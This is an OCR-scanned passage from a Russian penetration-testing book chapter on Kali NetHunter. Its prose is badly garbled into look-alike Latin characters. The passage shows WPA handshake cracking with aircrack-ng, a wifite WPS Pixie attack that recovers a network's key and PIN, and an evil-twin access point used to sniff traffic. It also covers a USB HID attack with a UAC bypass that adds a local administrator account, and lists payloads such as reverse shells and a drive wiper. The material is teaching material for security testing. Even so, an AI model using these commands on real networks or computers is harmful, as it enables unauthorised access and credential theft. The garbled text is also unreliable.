Ha puc. 12.20 mbl BujiiM BbIBOJI KOMaH/IbI #airodump-ng -c 6 --bssid -w NetHunter.

CH 6 ][ Elapsed: 1 min ][ 2016-06-29 00:49 ][ WPA handshake: 44:94:FC:37:10:6

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E
44:94:FC:37:10:6E -63 &7 4596 137 1 6 54e WPA2 CCMP PSK A
BSSID STATION PWR Rate Los Frames Probe

44:94:FC:37:10:6E 64:A5:C3:DA:30:DC -62 Oe-24 29 210

Puc. 12.20. BbiBoa komaHap! airodump-ng

Aircrack-ng B NetHunter Takske MoKeT 3aXBaTUTh YETHIPEXCTOPOHHEE PYKOIIOKATHE.
Kak mbI yske 00cyskaanm B TiiaBe 11, 970 MOKHO CJIeJ1aTh, UCIOJIb3Ys IPeABAPUTETBHO
HAaCTPOEHHBIN CMHCOK, TTOCJe YeTo U3MEHUTh KO AocTyma. /s 1eMOHCTpalimOHHBIX
1es1eil Mbl BBIOpAJIM KOPOTKHUIA, IPEABAPUTENHLHO HACTPOCHHBIN CIIUCOK.

BBenst komanny #aircrack-ng -w Wi-Fipasscode.txt -b 44:94:FC:37:10:6E
NetHunter-@1.cap, MbI TOJIYYUM cJeyfontnii BeiBox (puc. 12.21).

Alircrack-ng 1.2 rc3
[00:00:00] 10 keys tested (255.05 k/s)
KEY FOUND! [ 155HOUTINGspiders ]

Master Key : 3 OF AB 9F B8 7A 7F
38 21 8F 66

Transient Key : : SA 19 1A A4
CD 65 77 F9

FD 2D 7E 26
F&8 D2 5F

EAPOL HMAC ' B6 25 Al

Puc. 12.21. BuiBoa koMaHAb! aircrack-ng
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Vcnosb3osanme kaasuarypbl NetHunter MoskeT 6bITh yTOMUTENBHBIM C TOYKH 3Pe-
HUST B3JIOMA ITaPOJIsT 1IEJIEBOI CETH, HO 9TO HeKpUTHYHO. Kpome Toro, Takas ataka moses-
Ha B CUTYAIUAX, KOT/IA YeJIOBEK € HOYTOYKOM ¥ BHEITHEH aHTEHHOH TOJIBKO TIPUBJICYET
HeHy:kHOe BHMMaHue. Eie oguH BapuanT ncrnosab3oBanus 1miaTdopmsl NetHunter —
OTCKAaHMPOBATD U 3aXBAaTUTh YETHIPEXCTOPOHHEE PYKOIIOXKATHUE, A 3aTEM TiepeaTh (aiii
saxsara Iardopme Kali Linux, rae u 3aiycTuTh IporpaMMmy B3joma. Mbl IOTy4nM
Te JK€ Pe3yJIbTATHI, YTO U IIPU B3JIOME ¢ HOYTOYKa U/ CTAIIMOHAPHOTO KOMITBIOTEPA, HO
UCIBITATETh HA TPOHUKHOBEHIE MOJKET OCTaBAThCSI HE3AMEUEHHBIM.

WPS-B310M

BBon xomanz ¢ kraBmarypsl NetHunter MOJKeT yTOMJISTh, HO €CTh CIIACEHUE B BHJE
uncrpymenta Wifite, KOTOpbIit MbI paccMaTpuBajy B riraBe 11. DTOT MHCTPYMEHT 110-
3BOJISIET TIPOBOJIUTD ATAKY C TIPOCTHIM BBOJOM HOMepa. OTKPOHTE KOMAHHYIO 060T0UKY
Kali, BBeure komamy wifite u HakmuTe KJaaBuiry Enter. ITO IPUBEET K CIIEAYIONIEMY
pesyabraty (puc. 12.22).

¥ 2 11:02

4) root@kali: ~~ @® X

Last login: Sat Jul 2 17:46:53 UTC 2016 on pts/8
Linux kali 3.4.0-Kali-gceb158c-dirty #3 SMP PREEMPT Fri Dec 11 22:25:47 UTC 2015 armv7l

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
I io# wifite

WiFite v2 (r8&7)
automated wireless auditor

designed for Linux

the program is not required, but is recommended

scanning for wireless devices...
available wireless devices:
. p2p0 ?rRPR? Not pci, usb, or sdio
2. wlano 7272777 Not pci, usb, or sdio
3. wlani 2777 Atheros Communications, Inc. ARS271 802.11n
[+] select number of device to put into monitor mode (1-3): 3
[+] enabling monitor mode on wlanil... done
[+] initializing scan (wlanlmon), updates at 5 sec intervals, CTRL+C when ready.
ﬂ[n:un:ua] scanning wireless networks. 0 targets and 0 clients found

Puc. 12.22, PesynbTaTt BbINOMHEHWS KOMaHAbI wifite
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Kax BuanTe, pasanurisi B BLIBOJIEC HE3HAYMTEIbHBI. Bl 0OHAPYIKEHBI 1B WHTEP-
deiica WLAN: BHyTpenHui 6ecipoBogHOll nHTepdeiic 1 Halia cOOCTBEHHAsT BHEIIHSISI
anTenHa. Cymecrsyer Takxke unrepdeiic P2P0. 910 ogHOpaHroBblid HeCIPOBOIHOMN
unrepdeiic OC Android.

[lanee mbl mepeBosinm Hain naTepdeiic WLAN1 B pesxkum monutopunra. [[7s atoro
HY’KHO BBECTH 3, [TOCJIe YeTO MBI MTOJIYYUM cJIeyonuii pe3yabrat (puc. 12.23).

' & &

1) root@kali: ~~

11 HP-Print-F2-FPhoto...
12 \x00\x00 0Ax00\. .. Wps
13 HOME-EES7-2.4 wps
14 (7E:8 (AS:1AC80) s

HOME-717C-2.4 WPAZ Wps
CenturyLink1507 WPA2 wps
Mac3 6 WPA2 wps
HDH ¥ l 5 WPAZ wps
Baird-2.4 WPA2 wps
HOME-4D12 WPAZ WRSs
WiFiFoFum WPA2 wps
(00:71:C2: WPAZ wps
CenturylLl 34 6 WPA2 Wps
(D8:97:BA:B0:31:D9) WPAZ wps
HR-HOME WPAZ client

Puc. 12.23. /HTepdeiic WLAN1 nepeBeaeH B PEXUM MOHUTOPUHIa

Kak u B riiaBe 11, MbI BUZIUM TY K€ CETb, UTO U paHbiie. [locie Toro kak Mbl ocTaHo-
BUM CKaHUPOBaHUe, BBeJIEM 15 1 HaxkMeM KiaBuiiy Enter, Wifite 3armyctut Ty ke araxy,
4yTO U panblie (puc. 12.24).

[+] select target numbers (1-57) separated by commas, or 'all': 15
[+] 1 target selected.

[0:00:00] initializing WPS Pixie attack on Brenner (E8:89:2C:DB:DD:70)
[0:00:28] WPS Pixie attack: attempting to crack and fetch psk...

[+] PIN found: 42000648
[+] WPA key found: Reesiel1958

[+] 1 attack completed:

[+] 1/1 WPA attacks succeeded
found Brenner's WPA key: "Reesiel1958", WPS PIN: 42000648

[+] disabling monitor mode on wlanimon... done
[+] quitting

Puc. 12.24. Ataka 3anyweHa
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Cnsingt va puc. 12.24, M BugmM, 4to nosydusn tot ke WPA- u PIN-kox mist Gec-
MpoBO/IHOM ceTn Brenner.

ATaka «3710M ABOVHUK>»

Araka «3J1011 JBOMHKMK» — 9TO TUII OecrpoBoaHoii ataku MitM. Ilpu Takoii aTake Mbl
MIBITAEMCSI TTOIKTIOYUTD T[€JIEBOE YCTPOHUCTBO UJIM YCTPOICTBA K GECITPOBOIHON TOUKE
JIOCTYIIA, KOTOPasi MAaCKUPYyeTcs M0/ 3aKOHHYIO TOUKY socTyna. Harie 1iesieBoe ycTpoii-
CTBO TIO/IKJTIOYAETCS K HEell, cCYuTas, 4To 9TO 3aKOHHAad ceThb. Tpaduk ananusupyercs kax
BO BPeMsI [IePEHATIPABJICHNUST K 3aKOHHOI TOUYKE JIOCTYTIA K KJIUEHTY, TaK U Ha 00PaTHOM
nyTu. JI1o60it Tpahuk, KOTOPBIH MOCTYIIAET U3 3aKOHHON TOUKH JOCTYTIA, TAKIKE MapIi-
pYTHU3UPYeETCs Yyepe3 Co3/IaHHyI0 HaMU MO/Ie/IbHYT0 TouKy focTtyna (AP), n 'y Hac ectnb
BO3MOKHOCTD €T0 TIEPEeXBATUTD U TPOAHATM3UPOBATD.

Araxa nponstioctpupoBata Ha puc. 12.25. CieBa — 1esieBoii HoyTOyK. B cepennne —
Hamia margopma NetHunter. CripaBa HaXoAUTCS 3aKOHHAS TOYKA TOCTYTIA € TOIKJIIO-
yenueM k MuTtepuery. Kora mess noakiovaercs k Haieit urargopme NetHunter, mbt
MOKEM TIPOAHATM3UPOBATH TPAhUK, PEK/IE YeM OH OYIET TIepeHAIPABJIEH B 3aKOHHYIO
TouKy soctymna. JIo6oii TpauK OT TOYKM AOCTYIIA TAK/KE aHATM3UPYETCS, a 3aTeM Tepe-
HAIPABJISETCS KIUCHTY.

Puc. 12.25. Cxema nepegaun Tpacdmka OT Lienn K 3aKOHHOM Touke gocTyna Yepe3 NetHunter

IT0 TpocTo BapuanT ataku MitM, koTopyio Mbl 06cykaamu panee. Pazinuue 3a-
KJII0YaeTcsl B TOM, 4YTO HaM He HY>KHO HUYero 3HaTh O KJIWEHTe WJN CeTH, B KOTOPOH
oH paboTaer, MOCKOJbKY Mbl OyleM KOHTPOJUPOBATH CETh, KOTOPYIO OH MCIOJIb3YET.
ITO aTtaka, KOTOPYIO YaCTO MPOBOAST B 0OIIECTBEHHBIX MECTAX, TAKUX KaK adPOIMOPTHI,
Kacbe v oTesu, T/ie ecTh GecraTHbIi GecripoBoHON MHTepHeT.

Araka ¢ nomompio Mana. [Tpuioskerue, Kotopoe Mbl Oy/ieM ucrosb3osath B NetHun-
ter, mpezcTasasier co6oil Habop GecnpoBOAHBIX HHCTPyMeHTOB Mana. [TlesknuTe Ha
3Hauke NetHunter, 1asee — Mana Wireless Toolkit. [IepBas cTpanuiia, Ha KOTOPYIO BbI TO-
rnajaere, — 9TO dKpaH hostapd-karma.conf.
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3ech MBI MOXKEM HACTPOUTH HAIIY TOUKY OECIPOBOAHOTO JOCTYMA JIJIsl AaTaKu
(puc. 12.26).

=R =iy ¥ L1048

= Mana Wireless Toolkit #” EDIT SOURCE

hostapd-karma.conf hostapd-wpe.conl

pd configuration file used by Mana.

Interface
wlan1

BSSID
00:11:22:33:44:00
SsiD
Free_Internet
Channel

6

Enable karma
0

karma loud

]

Puc. 12.26. CTpaHuLa Ans HacTpoku 6eCnpoBOAHON TOYKM AOCTYNa

CHauasa HeoOX0MMO YOEUTHCS, YTO Y HAC €CTh J[Ba OeCIPOBOIHBIX MHTepdeiica.
Becuposoanoii unrepdeiic Android, koropsiii, ckopee Bcero, o6o3naden Kaxk wlan0,
JIOJKEH OBITh TTOKJIIOYEH K TOUKE JJOCTYTA ¢ BEIXOA0M B VIHTEpHET. ITO MOKET OBITh
KaK Ballle CTaHIapTHOE TTOAKJIUeHIe, TaK U OecIuraTHbIi GecripoBoAHON VIHTEpHET,
JOCTYTIHBII B TOM MECTe, TJIe BbI ceiiuac HaxoauTech. VHTepdeiic wianl Oyer Hareit
BHEIITHEH aHTEeHHOM, KOTOPAs CO3MACT TIOAIETbHYIO TOUKY HOCTYIA. 3aTEM BbI MOKETE
Hactpouth BSSID na MAC, KOoTOpbIil UMUTHPYET (haKTHIECKYT0 TOUKY mocTyma. Kpome
TOTO, MOKHO HACTPOUTh SSTD J171s1 TpaHCIsIIiuu 0001 MAeHTU(HUKAIIUMN TOUKH JOCTYIIA.
JIpyrre HacTpPOWKM KacaroTcsl aTaKu ¢ MCIOJIb30BaHneM aKcronita Karma (sonosan-
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TeJbHBIE CBEIEHU BbI ITOJIYUYNUTE 110 aipecy https://insights.sei.cmu.edu/cert/2015/08/instant-
karma-might-still-get-you.html).

MoskHO OCTaBUTH HACTPONKH MO YMOJIYAHWIO, YTO MbI U cjienaeM. /lajee meakHemM
KHOIIKOI MBIIIM Ha 3HAUKe B BUJIE TPEX TOUEK U BbiGepeM Start mana. DTO 3alyCTUT
danpmmByio Touky gocryna (puc. 12.27).

¢ flushing interface --
sLtnng ip --

Conf.lgurarmn file:

Using interface wlan
interface state UNINITIALIZED
AP -ENABLED

Copyright 2004-2014 Internet System
All rights reserved.
For info, please visit https
config Tile:
file: fvar/lib/dhcp/dhcpd. .lea B5
/var/run/dhcpd. pid
to leases fi l

Eer =daniel@roe. cl

& S5LV2_ SE‘;SIER! CACHE -DHAVE_NETFILTER
MAT eﬂg.\nas netfilter* t

8 Jan 2015 (lm}ﬂmhf}
Server Name Indication (SN supported
f<L is thread-safe with THREADID

DTIATION SSL _OP_DONT_INSER
|_ROLLBACK_BUG

compiled against 1ib .0. stable
rtlinked against libev: 2.0.21-stable

netfilter

netfilter

netfilter

netfilter

netfilter

netfilter
tep http netfilter
ssl http netfilter
ST=Gauteng/L=Pretoria/0=SensePost/OU=MANA/CN=UANA/emailAddress=research@sensepost.

[
I

Soe

S
fobcomoooo

Read Persist

Read Persist
Read
3 Read
0xa9795¢c [f: Read
0xa9’ fi Read
Read
Read
Read

0xa97ba0
0xa97d50

a97es50
Dxa87750

<

Puc. 12.27. ®anblwiveas To4Ka A0CTyna co3aaHa
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Ha puc. 12.27 mb1 Busimm, kak Mana ouninaeT KammpoBaHHY0 nHGOPMAIUIO 1 Ha-
CTpaMBaeT HOBYIO TOUKY OCTYIIA. ECIII MBI ITepeKII0unMCcs Ha YCTPOICTBO, TO YBUAUM
TOUKy GECTPOBOHOTO ocTyTa Free_Internet, K KOTOPOH MOKHO MOAKIIOYUTHCS 6e3
Kakoi-mbo ayrentudukaiuu (puc. 12.28).

essec T-Mobile & 10:49 AM 99% M
£ Settings Wi-Fi
Wi-Fi W,
v Free_Internet = @

CHOOSE A NETWORK...

CBCI-39FE-2.4

[ 2
<)

)
CHCHCHCOMCONCIC)

%)

CBCI-5BC5-2.4 &

.;)

CBCI-5BC5-5 a
Google Starbucks

ngHub_31944CN303FDB

]
.}]

9)

SWirelessNW &

.;)

xfinitywifi

Other...

Ask to Join Networks

Y

Known networks will be joined automatically. If no known
networks are available, you will have to manually select a
network.

Puc. 12.28. MogkntoyeHne K Touke focTyna 6e3 ayTeHTudukaumm

Tenepsb B ipyrom TepmMuHae, oTKpbiToM Ha 1aTdopme NetHunter, Mbl HacTpauBaem
3axBaT 11akeToB tcpdump. /L7151 9TOr0 NCIOJIb3YyeM CIIeLYIONTYI0 KOMaH/ILY:

# tcpdump -I wlanl

Ee BoiBOzt Oyzter TakuM (puc. 12.29).

[TockosbKy MOAKITIOUEHHOE YCTPOKUCTBO TIOJIyYaeT U IepeiaeT IPYIIbI JAaHHBIX, MBI
MOJKEM aHaJIM3UPOBaTh 3TOT Tpaduk. Kak BapuaHT, MOKHO JaKe 3aXBaTHTh Tpa(uK
B Bu/Ie hailyia .pcap, a 3aTeM BBITPY3UTh €ro /st IpocMoTpa B Wireshark.
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3) root@kali: ~~ @ X

Last login: Sat Jul 2 17:09:52 UTC 2016 on pts/2
Linux kali 3.4.0-Kali-gc6b158c-dirty SMP PREEMPT Fri Dec 11 22:25:47 UTC 2015 armv7l

The programs included with the Kali GNU/Linux system are free software;
the ct distribution terms for each program are described in the
individual files in fusr/sharesdoc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRAN to the extent
permitted by applicable law.
c~# tcpdump -i wlani
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
li;teninq on wlani, link-type EN10ME (Ethernet), capture size 44 bytes
1 :13.272301 IF 10. D .100.bootpc > 10.0.0.1.bootps: BOOTP/DHCP, Request from 64:a5:c3:da :dc
oui unknnwn), length 3
7 afle buotpa 0.0.100.bootpc: BOOTP/DHCP, Reply, length 309
google-public-dns-a.google. com.domain: 15463+ A? api-glb-lax.
(45)
IP google-public-dns-a.google.com.domain > 10.0.0.100.63569: 154 1/0/0 A 17.249.2

Flags [S]. seq 3714005262, win
ptions [mss 1460,nop,wscale 5,nop,nop, TS val 737468195 ecr 0,sackOK,unknown-34], length 0
17:47:19.559044 IP api-lax.smoot.apple.com.https > 10.0.0.100.64521: Flags [S.]. q 2959393737, ack
3714005263, win 65535, options [mss 1460, sackOK,TS wval 134857 ecr 7374568195,nop,wscale 6], length O
17:47:19.562126 IP 10.0.0.100.64521 > api- smoot.apple.com.https: Flags [P.], seq 1:241, ack 1, w
in 4117, options [nop,nop,T5S val 737468197 ecr 134857], length 240
17:47:19.562217 IP api-lax.smoot.apple.com.https > 10.0.0.100.64521: Flags [.]. ack 241, win 1375, o
ptions [nop,nop.TS val 134857 ecr 73746819 length 0
17:47:19.940666 IP api-lax.smoot.apple.com.https > 10.0.0.100.64521: Flags [.], seq 1:1449, ack 241,
in 1375, options [nop,nop,TS val 134895 ecr 81971, length 1448
17:47:19.9445808 IP api-lax.smoot.apple.com.https > 10.0.0.100.64521: Flags [.]. seq 1449:2897, ack 2
41, win S, options [nop,nop,TS val 1348585 ecr 737468197], length 1448
17 9.5445969 IP api-lax.smoct.apple.com.https > 10.0.0.100.564521: Flags [P.]., seq 2857:2981, ack
241, win 1375, options [nop.nop.TS val 134895 ecr 7374681971, length 84
17:47:20.069877 IP 10.0.0.100.64521 > .smoot.apple.com.https: Flags [.]. . win 4050,
options [nop,nop,TS val 737468704 ecr . length 0
17:47:20.070915 IP 10.0.0.100.64521 > api-lax.smoot.apple.com.https: Flags [.], ack 2981, win 4048,
optlons [nop.nop, TS wval 737468704 ecr 134895], length O
7:47:20.088157 IP 10.0.0.100.64521 = smoot.apple.com.https: Flags [F.], seq 2 ack 2981
win 4096, options [nop,nop,T5 val 737468722 ecr 134855], length O
17:47:20.088707 IP api-lax.smoot.apple.com.https > 10.0.0.100.64521: Flags [F.]. 1, ack 242,
win 1375, options [nop,nop,T5 val 134910 ecr 737468722], length O
17:47:20.091514 IP 10.0.0.100.64521 > api-lax.smoot.apple.com.https: Flags [.], ack 2982, win 4098,
options [nop,nop,TS val 7374 24 ecr 134910], length 0
17:47:20.103416 IP 10.0.0.100.64522 > api- smoot.apple.com.https: Flags [S], seq 1685482250, win
options [mss 1460,nop,wscale 5,nop.nop,TS val 737468736 ecr 0,sac Junknown-34] angth ]
0.103569 IP api-lax.smoot.apple.com.https > 10.0.0.100.64522: Flags [5.]. seq 2
1, win 65535, options [mss 1460, sackOK,TS val 134911 ecr 737468736,nop.wscale 6]
17: .105400 IP 10.0.0.100.6452 api-lax.smoot.apple.com. https: Flags [P.], seq 1 1, ack 1, w
in 411;. options [nop,nop,TS val 737468738 ecr 134911], length 240
17:47:20.105552 IP api-lax.smoot.apple.com.https > 10.0.0.100.64522: Flags [.], ack 241, win 1375
5 val 124511 ecr 73 8738], length 0
- api-lax.smoot.apple.com.https > 10.0.0.100.64522: Flags [.], seq 1:1449, ack 241
in 1375, options [nop.nop,TS val 134927 ecr 468738], length 1448
7:20.258201 IP api-lax.smoot.apple.com.https > 10.0.0.100.64522: Flags [.], seq 1449:2897, ack 2
41, win 1375, options [nop,.nop,TS val 134927 ecr 737468738], length 1448
17:47:20. 25¢ IP api-lax.smoot.apple.com.https > 10.0.0.100.64522: Flags [P.]., s 81, ack
241, win 1375, options [nop.nop,T . length &4
17:47:20 4 IP 10.0.0.100.64522 > ap (.smoot.apple.com.https: Flags [.], ack 7. win 4050,
options [nop,nop,TS wval 737468892 ecr 134927], length O
17:4 0.265129 IP 10.0.0.700.645: api-lax.smoot.apple.com.https: Flags [.], ack 2981, win 4048,
s [nop,nop,TS val 737488892 ecr 134927], length O
:47:20.277763 IP 10.0.0.100.64522 > api-lax.smoot.apple.com.https: Flags [F.], seq 241, ack 2931
¢ uption; [nup nop, TS val 468906 ecr 134927], length 0
Jmuot apple.com.https > 10.0.0.100.64522: Flags [F.]), seq 2981, ack 243,
ecr 737468906], length O
14 (.smoot.apple.com. https: Flags [.]. ack 2582, win 40396,
options [nnp.nop,TS val 737468909 ecr 134929], length 0
17:47:20.284233 IP 10.0.0.100.64523 > api-lax.smoct.apple.com.https: Flags [S], seq 2085324780, win

< @) O

Puc. 12.29. BbiBoa komaHabl tcpdump

405
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ITY MOJIE3HYIO ATAKY MOKHO BBIIOJIHSITH B 0OIIECTBEHHBIX MECTAX I1€JIEBON Opra-
Husauu. JIpyroit 0cCOGEHHOCTHIO 9TOI aTaKW SIBJSIETCS TO, YTO MOKHO TOAKII0YATh
HECKOJIBKO T1€JIEBbIX yCTPOICTB. OHAKO BAXKHO OTMETUTB, YTO B TAKOM CJIydae Tpaduk
K IIEJTH MOJKET MePeIaBaThCs C 3aM03/IaHIEM.

MHorue MOOUJIBHbIE YCTPOUCTBA ABTOMATHUECKU HACTPAUBAIOTCSI HA TIO/IKJIIOUEHITE
K 10601 paHee UCToab3yeMolt cetu. [Ipu TaKOM aBTOMATUYIECKOM COETMHEHUN BaKEH
He MAC-azpec 6ecipoBoOIHOI TOUKK JOCTYIIa, a TpaHcaupyemMbiii SSID. B atoMm ciie-
HApUK Mbl MO’KEM Ha3BaTh Hallly TOYKY AocTylia Mana obuiumM o6HapyskeHHbIM SSID.
Korza Jiio1ir poXoAsT MIUMO, UX MOOUJIbHBIE YCTPOHCTBA AaBTOMATHYECKY MOIKITIOYA-
I0TCSI U, [TOKA OHU HAXOJSITCS B 30He JEeUCTBYS, HAIPABJIIOT CBOI TpaduK Yepes Halle
YCTPOHCTBO.

HID-aTaku

B NetHunter ectb HECKOIbKO BCTPOCHHBIX MHCTPYMEHTOB, KOTOPBIE [103BOJILIOT Ha-
ctpouth ataky HID. B ogHOM 13 HUX UCTOMb3yeTCA CTaHAAPTHAS KOMAaHHAS CTPOKA
JUIST BBITIOJTHEHUST HECKOJIBKUX KOMAH/L oJIpsijl. YToObI ToydnTh f0ocTy K Menio HID-
aTaku, MeJKHNTe Ha 3Hauke NetHunter, a 3aTem Ha HID Attacks (HID-atakn). [Tocse aToro
Ha OJTHOMMEHHOM SKpaHe Bbl yBujiuTe iBa Bapuanta. O/t u3 Hux — araka PowerSploit,
a Bropoil — araka Windows CMD. B sTom pasjesie Mbl TIOAPOOHO PACCMOTPHM aTaKy
Windows CMD.

B nmpumepe mMbr Gyzem ucrombiosars miaatdopmy NetHunter u moakaodnm ee
K TtesreBoit MamuHe. Harrra ataka /7151 3amrycka KOMaHb ipconfig GyzeT 3ameiicTBOBaTH
HID-ys13BUMOCTB, a 10JIb30BaTeJIst offsec Mbl IOGABUM B CHCTEMY € TOMOIIBIO KOMAH/IbI
net user offsec NetHunter! / add.

Haxomnerr, BpimoTHUB KOMaHIy net localgroup administrators offset /add, no-
6aBUM yUYETHYIO 3aITUCh MOTb30BATEsT Offsec B IPYIITY JIOKATbHOTO aIMHHUCTPATOPA
(puc. 12.30).

3areM HaM HY)KHO YCTAHOBUTH 0OXOJI KOHMPOLsL YUeMHbIX 3anucetl noiv3oeamenei
(User Account Control, UAC). dro nossosisier NetHunter 3amyckarth KOMaHIHYIO CTPOKY
OT UMeHU asMuHUCcTpaTtopa. Beibepure Bapuant UAC Bypass (O6xon UAC), utobbl Ha-
crpouth 06xo1 miast OC Windows (puc. 12.31).

IMockosbKy MbI TbITaeMcst BoimoaHuTh HID-araky npotus Windows 10, Hy:KHO
YCTAaHOBUTD TIEPeKIIoUaTesib B moJsokenne Windows 10 (puc. 12.32).

ITocue nacrpoiiku o6xoxa UAC noakaiounte USB-kabenb K 1e/eBoii MalluHe.
[[lenkHuTE HA 3HAYKE C TPEMS BEPTUKAJIBHBIMM TOYKAMU M HAXKMUTE KHOTIKY Execute
Attack (BwimmoTHUTE aTaxy).

C HavasioM BBITIOJHEHUS aTaKW Bbl YBUIUTE, YTO TlejieBasg MAlIMHA HAYHET TIPO-
1[eCC OTKPBITUS KOMAH/IHOM CTPOKHU B KauecTBe ajMUHUCTpaTopa. Janee B aT0# KO-
MAaH/THO# CTPOKe OY/yT BBIIOJNHSATHCS KOMaH/Ibl, KOTOPbIe onpezeietbl B NetHunter.
Ha puc. 12.33 Mbl Bujium 11epBYyI0 32y HIeHHY0 KOMaHIy ipconfig.

3aTeM MBI BUJIUM, YTO TIOJb30BATEJb Offsec BOTIET ¢ COOTBETCTBYIONIM TaPOJIEM.
Ha 1iesieBoM KOMIIbIOTEPE YUeTHAS 3AMUCD [T0JIb30BATEIS BBE/IEHA B IPYIITY JJOKAJIBbHOTO
aamuaucTpaTopa (puc. 12.34).
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= HID Attacks

PowerSploit Windows CMD
This Windows CMD payload allows you to enter raw commands to a Windows command

prompt. Hitting the list menu will allow you to choose keyboard layout or UAC bypass
options.

Edit source

kipconfig
net user offsec Nethunter! /add
net localgroup administrators offsec /add

LOAD FROM SDCARD  SAVETO SDCARD  UPDATE

Puc. 12.30. [lJobaBneHne HOBOro NMosib30BaTeNsi B Fpynny I0KasbHOro agMUHUCTpaTopa
HEigQl s
= HID Attacks UAC Bypass

PowerSploit Windows CMD Keyboard Layout

This Windows CMD payload allows you to enter raw commiz
prompt. Hitting the list menu will allow you to choose key ~Execute Attack

options.

Edit source Reset USB

*ipconfig
net user offsec Nethunter! /add
net localgroup administrators offsec /add

LOAD FROM SDCARD SAVE TO SDCARD  UPDATE

Puc. 12.31. Hactpoiika UAC Bypass ans Windows

407
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UAC Bypass:

O No UAC Bypass

O Windows 7
O Windows 8

(® Windows 10

Puc. 12.32. Bbi6op Bepcun onepaumoHHon cucteMbl Windows
Microsoft Windows [Version 18.8.18248]
{c) 2815 Microsoft Corporation. All rights reserved.
C:\Windows\system3Zz>ipconfig

Windows IP Configuration

Wireless LAM adapter Local Area Connection® 2:

Media State . . . . . . . . . . . ! Media disconnected
Connection-specific DNS Suffix

Wireless LAN adapter Wi-Fi:

Connection-specific DNS Suffix . : Home

Link-local IPv6 Address . . . . . : fe88::a418:debe:d3fs:df17%8
IPv4 Address. . . . . . . . . . . ! 192.168.8.14

Subnet Mask . . . . . . . . . . . : 255.255.255.8

Default Gateway . . . . . . . . . : 192.168.8.1

Puc. 12.33. KomaHaa ipconfig 3anyLyeHa

C:\Windows\system32>net user offsec Nethunter! /add
The command completed successfully.

C:\Windows\system32>net localgroup administrators offsec fadd
The command completed successfully.

Puc. 12.34. YueTHasi 3anucb Nosib30BaTesNsl BBEAEHA B rpynny SIOKa/IbHOro aAMMHUCTpaTopa
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ITa aTaka MOKET OBITH MOJE3HOH, eCJIU Bl HAXOAUTECh B MOMEIIEHUN PSIOM
C TEJIBIO ¥ MOKeTe HabII01aTh 32 OTKPBITHIMKU PaGOYNMK CTAaHIMAMEI. Bbl MokeTe
HACTPOUTDH HECKOJBKO PA3JUYHBIX KOMAH/I, a 3aTeM MPOCTO MOJAKIIOYUTh MIaThOp-
My NetHunter k cucTteme 1 BBITIOJHUTH paHee MOATOTOBIEHHbIe KOMaHAbl. MOXKHO
BBITIOJIHATH OOJiee CJOKHbIe aTaky, ucnoub3yst PowerShell umu npumensist apyrue
CIlEHAPUU aTaK.

DuckHunter. Mucrpyment DuckHunter npeo6pasyer cuenapun USB Rubber
Ducky B HID-araky NetHunter Taxk, kak mokasano paree. Crienapunr USB Rubber Ducky
MOJKHO 3arpy3uTh ¢ cobersertoil GitHub-crpanmuiist [lappera Kutaena (Darren Kitchen)
na Hak5’s o azpecy https://github.com/hak5darren. /lanee atu ciieHapum 3arpysKaloTcs
B HID-unctpyment NetHunter na Bkiazke Convert (Korseptuposars).

Harpysky Bkitouator (6e3 orpaHiuueHuil) ceayomime ClieHaprm:

Wi-Fi key grabber (3axBar kitoueit Wi-Fi);

Reverse Shell with Persistence (nocrosanast o6paTHast 060104Ka);

Retrieve SAM and SYSYTEM from a live filesystem (Boccranosienne SAM
u SYSTEM wu3 sxuBoii ¢haitsioBoii cucteMsl );

Netcat Reverse Shell;

OSX Local DNS Poisoning;

Batch Wiper/Drive Eraser (maker st Haile)KHO# OYMCTKIA HAKOITUTEIS);
Wi-Fi Backdoor.

O

0O 00D

Pe3ome

Hecmorps Ha cBou MajienbKue pasmepsl, maTdopma Kali NetHunter npezgocrasiser
KOJINYECTBO OUYeHb M0JIE3HBIX U QYHKIIMOHAIBHBIX HHCTPYMEHTOB. Cepbe3HbIM IIpe-
HUMYIIECTBOM JIJIT UCITBITATENSI HA IPOHUKHOBEHUE SBJISIETCS TO, YTO MHCTPYMEHTHI
U METOJIbl 3TO¥I MJ1aTHOPMBI OUeHb [TOXOKU HA UHCTPYMEHTDI U METO/IbI IJIAT(HOPMBI
Kali Linux. Takoit moaxoj k noctpoenuto mwiardopm Kali NetHunter u Kali Linux
H9KOHOMMUT BpPeMsi, HEOOXOIUMOE UCIBITATEN0 HA TPOHUKHOBEHUE JIJIST U3YYEHUsI
HOBOTO HabOpa MHCTPYMEHTOB, M TPEAOCTABISIET BO3MOKHOCTD 3aITyCKATH TECTHI
¢ Tesedoma min maanmera. Hebosbime pa3Mephl yCTPONCTBA, Ha KOTOPOM YCTAHOB-
JIEHBI MHCTPYMEHTHI JIJIsT TIPOBEICHIS TECTOB, MO3BOJISIOT UCIBITATEN0 HE3AMETHO
IIOJIyYUTD IOCTYII K 1iesieBoll opranusanuu. NetHunter — sto otiimunas miardopma,
KOTOPYIO CJIelyeT BKIIOUNUTh B KOMIJIEKT HHCTPYMEHTOB JIJIsI TECTUPOBAHMS Ha MTPO-
HUKHOBEHUE.

B cienytomieii rase Mbl iepeiizieM K ctaHgaptam 6e30MacHOCTH JAHHBIX HHIYCTPIN
wiaTexubix kapt (Payment Card Industry Data Security Standard, PCI DSS) n o6cynum
06JacTh MPUMEHEHNST, TJIAHMPOBAHUE, CErMEHTAITMIO ¥ Pa3INYHbIe HHCTPYMEHTBI, TPHU-
MeHseMble Jiuis mpoBeenust ckanuposanust PCI DSS.
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Bonpochl

Kakue Bepcun Tenedonos OnePlus u Nexus nogzaepsxusaior Kali NetHunter?
Tpebyercst u NetHunter root-zoctyin Ha MOGHIIBHOM yCTPOHCTBE?

Kakue croponnue npuinoxenust Android sximouenst B NetHunter?

W

Kaxue tutbl 6ectipoBogiHOro mudpoBaHust MOAJEPKUBAIOTCS MAPIIPYTU3aTOPOM
Keygen?

“o

HasoBure HeCKOIbKO 0cOOEHHOCTEN TIpHIoKeHust split.
6. Kak HasbIBaeTCst HHCTPYMEHT OeCIipOBOIHO ataku Buaa MitM?
7. Buem cocroutr HID-araka DuckHunter?

[lononHnTenbHbIE MaTepuansl

O Joxymentamms o NetHunter: https://github.com/offensive-security/kali-nethunter/wiki.

